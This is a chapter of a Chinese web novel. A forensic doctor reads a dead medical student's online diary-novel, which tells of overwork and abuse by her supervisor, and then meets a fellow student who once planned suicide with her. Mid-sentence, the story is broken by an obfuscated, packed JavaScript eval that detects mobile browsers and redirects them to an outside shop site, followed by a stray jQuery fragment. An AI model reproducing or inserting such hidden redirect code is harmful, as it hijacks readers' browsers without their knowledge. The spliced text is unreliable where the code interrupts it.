回到家,香香地沐浴一番,晁珍窝进床里,打开平板开始找白将弛说的那本《我和我的兵荒马乱》。点击率只有十几,不成行文的小说,片段式的叙事,更像是本日记。琐碎的日常读起来有些无聊,但只言片语的流露让晁珍渐渐沉浸其中。
【小渔很自律,这种自律源于相信“努力就会有回报”的朴素奋进观。所以,在刚读研时她就考上了执业医师证,备考很辛苦,得到这个结果她很欣喜。直到很后来,她才明白了一种类似于怀璧其罪的痛苦:过早拿到医师证,并没有过早让她在临床中获得经验,反而过早给了带教让她替值班的理由。谁让只有她有医师证,谁让只有她能够单独值夜班呢。没有借口退缩,因为你有证;没有借口躲避,因为你有证。连轴转,不睡了,你应该……因为你有证,她听得有些伤心,自己日日夜夜点灯熬油的努力成了他人偷懒懈怠的好借口。】
【简单的乘除法,小渔算得很痛苦。医院有要求,规培生工作时长每周不得少于60小时。所以八小时工作日上满七天也不够,何谈休息。能够维护自己的权益吗?可是规培生签的不是劳动合同,谁能维护呢。她总想到小时候姥姥讲的故事《半夜鸡叫》,不知道自己算不算一个新时代的长工。有时候想请假,带教就会将时长摆出来,她便不敢提了,退培的风险,她担不起。】
【我时常感觉要疯了!工作源源不断,总也做不完,我不是医生吗?为什么一直在写病历、办档案?为什么不能各司其职,让做行政的做行政,拿手术刀的好好拿手术刀?互联一体化,让一切都变得好便捷,便捷必然是大量人力劳动堆出来的。所有病历、医嘱要48小时内全部归档,每天我要负责十几个病人,没有归档就不能办出入院的手续。无心抱怨,只想着得快点做,不然患者们怎么办。】
【每月看着到手的那些钱,只觉得犯难,到手两千块,专硕规培没有宿舍,其中一千五要去租房。长安米贵,居大不易,今我有了实感。剩下的生活费还要靠爸妈补贴,家里本就不富裕,为了我读医,已经花了太多了。这种负罪感让我必须要读完,给他们一个交代。哪怕真的熬死,我也要读下去。】
【小渔时常陷入巨大的虚无之中,她学不到具有价值的临床经验,每天都在文书工作、打杂、拿外卖、跑签字中度过。明明一直在忙,可也不知道在忙什么,日子不在过,在熬。好像熬过了规培,熬过了毕业,就能有新的人生。但好像,她已经没有心气去迎接了。】
【我帮他拿了项目,他觉得不够。我帮他带了关系户的论文,他觉得不够。我帮他和药企对接,他觉得不够。我帮他做上课的PPT,他觉得不够。我挨他的骂,他仍觉得不够。他要困住我,他不要我毕业,他想要我死。】
【我恨他。但我又要强迫自己爱戴他、恭维他。他是高高在上的康教授啊!】
【我看到了丑陋。比教科书上要丑陋万倍。而丑陋剥夺了我。】
【人生只剩泥泞,不如让我葬身沼泽。学医的也不是天使,我有罪,会下地狱。】
……
晁珍看着一段段的文字,瞳仁愈发变暗,无力感包裹着她。但在无力感之外,有种奇怪甚至吊诡的感觉袭来,那是她十五年小说妹的阅读直觉。
第一人称,第三人称在反复横跳。那个“小渔”越发心如死灰,那个“我”越发疯癫魔怔。
笔力和风格也不太相同,这真的是燕雨一个人的作品吗?
晁珍记得刘剑南给正光的警方调查记录里有写道,走访同学们后都说燕雨后期有重度抑郁,表现为不爱说话,社交回避。这种状态下,人的分享欲是极低的,所以“小渔”出现的频率越来越低,到了后面已经完全消失。
那个“我”却依旧在,而且语言越来越抽象,情绪也越发激动,更像是求救。
晁珍觉得那个“我”身上一定发生了什么不能承受之重,她甚至能共感文字里的恶心与罪恶。她不知道如何具体描摹出那种感受,静默了半个多小时,慢慢觉察那是类似房思琪式的失乐。
那个“我”在屈辱,在被侵犯,在接受暴政。她逐渐愤怒,逐渐无妄,逐渐荒芜。
如果真的如她所想,那么晁珍忽然可以确认这个“我”并不是燕雨。尸检表明,燕雨并没有过性经历。那么“我”在哪里?她如何了?
最近更新时间是燕雨死前的一天。只有一小段。
【他松口了。只要我帮忙做完今年的自然课题审核,他允许我可以进行开题答辩,允许我明年正常毕业。这会是一个大团圆的结局吗?对于爸妈来讲是吧,医学生女儿顺利毕业,位列“医”班。但我的世界无存快乐,一地鸡毛。谁会知道,从表皮到内脏,我的身上每一处都肆长着对另一个人的PTSD。我的肉/体纵然幸存,我的灵魂已被戕灭。行尸走肉也能治病救人吗?果然医者不能自医。】
两行泪对着荧屏落下,晁珍关上了电脑,蜷缩进被子里,强行阖目入睡。
伴着巨大的悲伤入睡。
……
后来燕钢又申请了三次尸检,结果皆一致,他只得放弃对女儿自杀刑事立案的执念,让燕雨入土为安。但所有人都知道,他依旧没有放弃为女儿讨公道,仍在给各部门写信,在网络上求助。
葬礼那天,白将弛和晁珍也到场送了花圈。致悼词时晁珍目光掠去,发现对面那一排有个极其漂亮清纯的女孩正无声垂泪,捂着嘴的手腕上有一串朱砂。
晁珍心下一沉,忽然想起她在小说里看到的一段。
【我有一串朱砂。我赞颂它红烈似火。魔鬼只调侃它在古代能够检测贞洁。魔鬼懂个屁。】
是她吗?那个“我”,是她吗?!
晁珍产生了不合时宜的冲动,很想现在就冲去问那个女孩,《我和我的兵荒马乱》里那些谜语的答案,她们所有的经历,以及对方现在好不好。但晁珍还是忍住了冲动。
告别仪式结束,白将弛正和燕钢道别,晁珍追随起视线里一直锚定的那个女孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723639|206494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。穿过一层层人海,终于跑到了她面前。
女孩双眼红肿,看着身前呼哧带喘的人略有发懵:“你好。”
“你好。”晁珍捯了一口气,看了眼女孩身侧的几个同学,应该都是燕雨的朋友。
晁珍:“方便我们两个单独谈谈吗?我是接触过燕雨的法医之一,我叫晁珍。”
女孩眼神一怔,略有迟疑后,点了点头,和身侧的同学们摆了摆手。
女孩半响才缓缓道:“晁法医,您想说什么呢?”
晁珍稍作停顿,斟酌过话术后道:“檐下雨燕,不只是她对吗?”
女孩愣住,随后有些飘忽的慌张。
“故事里的人还有你。”
女孩将头别到另一侧,连连否认:“我不知道您说什么……”
晁珍看着那个身形佝缩的背影,一瞬间生出无数不忍。她该去问吗?她又凭什么去问呢?但如果真有蹊跷,抑或是不知情的线索,或许就能让该被惩罚的人绳之以法。这能告慰燕雨,也能拯救眼前这个命运不断在往下陷的女孩。她得一试。
但还未等晁珍开口,背影的另一面传来轻微的声音:“晁法医,其实,我们见过。”
“找个没人的地方好吗?我们聊一聊。”
……
不是咖啡厅,不是公园,是没人的地方。
好像比谁都深知这场对话的隐秘与禁忌,晁珍去到一家高级连锁酒店开了间小时房,又点了两杯热乎乎的奶茶一并上楼。
窗外的天布满了乌云,空气很潮湿,但显然水汽仍不够浓,并不足以坠下雨来。
依窗有一张矮圆桌,东西两端各配了张沙发,两个人窝在里头,久久并没有说话。
女孩饮了一口奶茶,将黑珍珠细细地咬咽,待补得了这等糖分后才有了些能量开言:“我叫田湉。和燕雨师姐是同门,导师都是康广安。但我比她晚一届。”
“晁法医,我说过,我们其实见过。”
晁珍微微怔住,问道:“什么时候?”
田湉轻轻抬起细长的手,将鬓边逃逸的碎发挽回耳后,目色一沉:“上个月,跨海大桥。”
“那天晚上,是我和燕雨师姐一起决定跳海自杀的日子。但我们刚到大桥上的时候,就看见有个姐姐站在栏杆上也要自杀,那时候很奇怪,明明我们也想死,却不由得和周围的人一起激动起来,反复地喊一些话去阻拦她。”
“大家明明都不认识彼此,可说的话都很温暖,都在喊“想开点”、“你还有大好的未来呢”、“都不是事儿”……喊着喊着,我和师姐都哭了,在劝她,也在劝自己。”
“后来,你从人群中出来,对她说:千万别放弃,好吗?你拯救了她。同时,也给了我和师姐一个奔头。人群散了后,她紧紧抱住我,反复在说那句:千万别放弃,好吗?我们互相劝着彼此,再忍忍,再熬熬,忍过规培,熬过毕业,总会好的。”
“可我没想到,她还是没忍下,还是没熬过。”